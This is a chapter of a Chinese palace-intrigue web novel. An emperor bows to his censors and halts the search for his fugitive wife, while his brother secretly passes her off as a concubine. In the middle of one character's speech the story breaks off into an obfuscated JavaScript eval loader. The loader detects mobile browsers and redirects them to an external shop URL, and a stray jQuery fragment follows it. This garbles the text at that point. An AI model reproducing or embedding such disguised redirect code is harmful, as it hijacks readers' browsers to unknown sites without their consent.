沈琦并未起身,而是咚咚又磕了两个头,将姿态放得极低,“请皇兄再给臣弟些时间,臣弟多带些人,一家家去搜……”
周来站在一旁,听见这话,瞥了眼窗外。
那些老大人都顶着小雨跪在外头。
再闹下去,可真收不了场了!
他收回目光,一反常态地打断,温声提醒:“皇上,您看看外面。”
沈珩也侧目看了眼窗外。
那些大臣不是在跪他,是在逼他归位。
他将衣袖放下,盖住缠满纱布的小臂,对周来道:“让御史台进来。”
片刻,平日那几个最是得理不饶人的老头子进来。
这些人本来是准备了满肚子的谏言,一看沈珩的脸色。只好将难听的话,用尽量温和的语气说出来——
“皇上,臣本不该插手皇上家事,然,刑部衙门前发生的事,令朝野震动、百姓沸议,臣不敢不言。”
御史台的三朝元老赵正先开口,掷地有声:“臣有三问,请皇上明示。”
沈珩微微点了点头。
“其一,皇上以私情干预司法、包庇涉嫌刺杀朝廷命官的逆党、纵放逃犯、压制追捕。臣想问,皇上意欲何为?”
——这是在质疑皇权的公正性!
在宫外,对沈珩来说,逆犯是他的夫人,这是私事。
但在宫里,对朝臣来说,这就是皇上在众目睽睽之下放走逆党,是置律法的威严于不顾。
赵正竖起第二根手指。
“其二,逆党苏氏作为白浪会的幕后财主,与皇上共同生活多年。臣等想问,她是否……利用皇权之便利替白浪会洗钱?苏家与白浪会的产业中,有多少与朝廷的银钱往来?”
这指控太严重了!这是在质疑沈珩作为皇上的立场!
沈珩知道苏?没有,但朝臣不知道。
赵正缓了口气,竖起第三根手指。
“其三,皇上登基多年而不立后、不纳妃,置祖宗家法与朝纲而不顾。却在外与逆党成亲,生下带有逆党血脉的女儿……”
“你放肆!”沈珩猛地一拍御案。
这话正戳了他的肺管子。
赵正以头抢地,态度却坚定:“臣请皇上悬崖勒马,停止继续搜寻,避免舆情再行扩大!”
现在对百姓来说,还未涉及皇室。再搜下去,“赘婿”二字一旦公开,便不仅仅是皇权个人私得有亏,更会让皇权的威严崩塌。
这三句话,是一张用国体、国法、国本织成的网,将沈珩牢牢兜住,从私情的泥沼里拉出来。
他在这些老臣面前,如坐针毡。
赵正身后的御史纷纷应声——
“臣等冒死,请皇上解除封城,并召史官、词臣、礼部,成立有司处置舆情,公开追查、审理逆党,避免丑闻继续扩大。”
话说到这份上,御史台是真的在想办法。
这个时候,真相不重要,皇上的态度重要。
沈珩看向外面,那些朝臣都伸长了脖子、竖起耳朵听着动静。
他们对他的私情不感兴趣。
他们是在确认——皇上还能不能正常的行使皇权?
这是他登基以来,面临的最严重的政治危机。
沈珩沉默片刻,终于开口——
“是朕的错。”
“臣等不敢!”满屋子人齐刷刷跪下。
沈珩摆了摆手,示意他们起来,但没人起身。
有这样的臣子,是大齐之幸。他还有什么资格继续胡闹下去?
“朕失德,令臣工担忧、市井沸议。”
“是臣等无能。”御史台的老臣将头磕得砰砰响。
“雍王,停止…搜查。”沈珩心里想着沅沅,将左手搭在右臂上,微微用力,试图用疼痛压制住心头的焦灼。
沈琦抬起头来,嘴巴张了张,像是还要再劝。
但沈珩没有给他说话的机会。
“即令史官、词臣、礼部,与御史台、内阁联议,速定匡正之策。此旨由内阁抄发,不得外泄。”
“皇上圣明!”御史台松了口气。
众人起身告退,鱼贯而出。
“方穹留下。”沈珩说。
方穹余光瞥了眼御史台几位老大人的脸色,觉得自己离千古名臣的政治理想越来越远了——
他们那眼神,分明将他看成了陪着皇上胡闹的佞臣!
沈琦告退后,脚步一顿,又转了回来,拱了拱手:“皇兄,臣弟还有一事相求。”
“说。”
“臣弟前些日子曾上表,为女儿请封郡主。”
沈珩看向周来。
周来转身,从一旁架子上的奏折里抽出一本,呈上:“确有此事。雍王殿下十日前递上的折子,皇上还未来得及批复。”
“臣弟近日新得一女儿,是侍妾宋氏所生。虽非嫡出,但这是臣弟的第一个孩子,臣弟还是想给女儿求个封号。”沈琦像是真高兴,提起女儿,语气里都是初为人父的欣喜。
“哪个宋氏?”沈珩问。
他向来是不过问雍王家事的,可他分明记得,雍王只娶了将军府出身的王妃一位。
沈琦又些不好意思地笑笑,难得露出几分腼腆无奈。
“不瞒皇兄说,臣弟与宋氏早年相识,心仪已久。可王妃性烈,臣弟怕宋氏出身低微、受委屈,便一直将她养在别院。”
“此时求皇兄,虽有些不和时宜……但孩子等不得。她即将满月,却因宋氏尚无名分,无法记入玉蝶,臣弟才急着求皇兄。”
他说完,往后退了半步,撩袍跪下,又磕了个头。
沈珩想起了自己的沅沅,心口像是被人用手攥住,又酸又疼。
清了清嗓子,沉吟片刻,“就封为嘉宁郡主吧,宋氏晋为侧妃。周来,命礼部去宣旨。”
沈琦满脸喜色,又叩头谢恩:“臣弟替嘉宁和宋氏,谢皇兄成全!”
方穹看着雍王欢天喜地退下,心说这雍王可真会挑时候。
这不是在捅皇上心窝子呢嘛!
沈珩的目光从门口收回来,落在方穹身上,问:“翟坤案,官中共死伤多少?”
方穹从袖中抽出准备好的折子,展开,念道:“刑部去翟府那夜,夫人……”
略有迟疑。
“苏氏。”沈珩纠正。
“刑部去翟府那夜,苏氏伤人十二,致死五人。苏氏出逃时,伤刑部狱卒三人,死一人。”
方穹又翻了一页:“臣带人往六道街围捕逆党时,与白浪会交手,刑部甲卫死三人,伤五人。”
“户部拨银厚葬死者,抚恤伤者其家,其子女,免解应试武举。”沈珩果断下旨。
方穹愣了一下,这可是顶格的恩遇!
立刻谢恩:“臣替死伤者,谢皇上隆恩。”
沈珩让他平身,忽然问:“苏氏去了何处?”
方穹被问得一愣,然后犹豫着:“臣,不……”
“想好了再说。”沈珩的语气沉了下来,“刑部大牢若是那般容易被攻破,朕倒要治你个渎职之罪。”
“皇上恕罪!”方穹开始冒冷汗,扑通一声又跪下。
“劫狱的人携带炸药,从后巷下水井挖进牢房。是你故意撤了后巷的守卫。”沈珩显然早就知道。
皇上怎么知道的这么清楚?方穹疑惑,却不敢再隐瞒,立刻交代:“臣知罪!”
“皇上令臣调查翟坤一案,但此案的突破口就在夫…苏氏身上,臣既不敢违逆圣意用刑审问苏氏,亦不能弃王法于不顾,只好出此下策,好引出其身后之人。”
沈珩颔首。
“接着说。”
方穹只好一股脑儿把事情原委倒出来——
“白浪会近年虽有些声势,可臣调查过其行动,都是些不成气候的小动作,大多还停留在敛财、聚众的水平。”
“翟坤的账册所记,与白浪会的第一笔交易早在三年多之前,可那时白浪会的势力,远不够攀附京中官员。而且,白浪会的行事作风向来低调,实在不必在此时杀朝廷命官引火烧身。”
方穹边说边察言观色。
“皇上之前让刑部重查百姓械斗一案,臣核对后发现,与白浪会相关的所有案件中,翟坤只参与了这一件。可账册上,他与白浪会的银钱往来,却不止一笔。”
“并且,臣调查了苏氏的出身。苏家刚到京城时,社会关系简单、当铺的生意只是勉强糊口。以苏家那时的能耐,又是如何搭上白浪会的?”
“由此,臣推断翟坤、苏家与白浪会之间,还藏着关键一人!”
沈珩听着,想起那日在苏宅门前,墨雨也与他说过,自会找人救出苏?。
对上了。
“所以,臣故意将刑部地牢的守卫放松,便是试图通过苏氏,钓出幕后之人。”说着说着,方穹的声音越来越小,吞吞吐吐:“没...没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619732|204921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事先告诉皇上,是怕…怕皇上……”
他没说完,但沈珩已经听懂了。
他这个皇上做得实在不好。臣下办公差,还要担心他徇私。
“平身。”
方穹如蒙大赦,咽了口唾沫,继续说:
“在围捕六道街的行动中,臣…臣故意放走了稳篙公。据跟踪的人回报,稳篙公这三日,都在想尽办法出城。”
“而那日,苏氏被掩护逃走后,臣的人跟在后面。但……但被苏氏发现打伤。只知道苏氏去了撒金巷附近,具体藏身之处,尚且不知。”
见沈珩没怪罪,他又搬出点有用的线索——
“另外,那日劫狱之人掩护苏氏逃走后被捕。经审问,确认他是汇通票号的王掌柜,据他交代,他幕后之人被称作‘主子’,他并不知道‘主子’的真实身份,只是听令做事。”
“臣可以确定,除了白浪会以外,苏氏另有帮手。”
沈珩沉默了很久。
方穹眼观鼻鼻观心,又说:“此案错综复杂,臣恳请,皇上再给臣些时间。”
“白浪会的案子,从即日起,由你全权负责。朕不过问了。”他还是选择了公事公办。
白浪会渗透官场、勾结朝臣、煽动民变,这些事,桩桩件件都该办。
之前,是因为他的私情而办;现在,不该因为他的私情不办。
方穹一愣,心悦诚服,“皇上圣明!臣定会讲此案查个水落石出!”
又犹豫:“但苏氏……”
“查明之后,留给朕处置。”
他其实想过下一道旨意,赦免她的一切罪名。
一道旨意而已,不过几十个字。
但现在不能。
她是逃犯、是逆党、是整个案情的枢纽。救她,就意味着搁置这个案子,意味着放任逆党的罪行。
这会让百姓对朝廷产生质疑、对法度失去信任,甚至埋下国家动荡的祸根。
所以,必须要查,要水落石出。
沈珩起身,走到窗前,看着方穹一出去就被外面的大臣们围住。
等方穹传达了他“公事公办”的态度后,大臣们才渐渐散了。
他关上窗,吩咐周来:“别惊动朝臣,出动朕的暗卫继续找沅沅。”
“奴才明白。”
他又问:“黄九有消息了吗?”
周来倒是气定神闲,从容道:“皇上别急,凭黄九大人的身手,不会将夫人跟丢的。”
沈珩背靠着窗,长长的叹了口气。
眼前太多证据、太多隐瞒,他已经无法判断苏?是不是有罪了。
所以作为皇上,他必须要把案子放手给律法。
但沈珩不会放手。
她若真的有罪——
沈珩会徇私一次,让她活着。
————
次日,巳时。
沈琦亲自到礼部,请了宣旨的官员前往撒金巷的民宅,足见对“宋氏”的看重。
“诸位略等等,本王去请宋氏出来接旨。”进了院,沈琦十分客气,让婢女奉茶,自己则转身去了后院。
推门一进客房,他便被苏?拉住:“你怎么将那些人带到这来了?还嫌不够乱?”
沈琦拉着她坐到镜子前,转头对身后婢女说:“梳妆。”
婢女应声上前,端起铜盆,绞了帕子,开始替苏?擦脸。
苏?任她摆弄。
她对沈琦,有一种近乎本能的信任。
“这是做什么?”她问。
沈琦站在她身后,看着镜子里她的脸,嘴角微微弯了一下,“从今日起,你不必再躲躲藏藏了。”
“什么意思?”
沈琦没答,笑眯眯地让婢女替她重新画眉。
螺子黛的笔尖贴着苏?的眉骨,一笔一笔地描过去,将原本利落的小剑眉改成了弯弯的柳叶眉。
眉毛画好。
婢女接着在她脸颊上扑了一层厚重的胭脂,用指尖晕开。然后给她眉间点上了鹅黄色的花钿、往她的嘴唇上涂了一层红艳艳的唇脂,又进去换了件套红色的长裙。
她原本的气质是潇洒清丽的,经这样大红大紫一装扮,像是换了个人。
苏?看着镜子里的陌生人,还是追问:“你到底在卖什么关子?”
沈琦静静看了会,拿起妆台上的一支粉芍药,替她簪在鬓边,耳语:“待会儿接了旨,你就是雍王侧妃宋氏了。”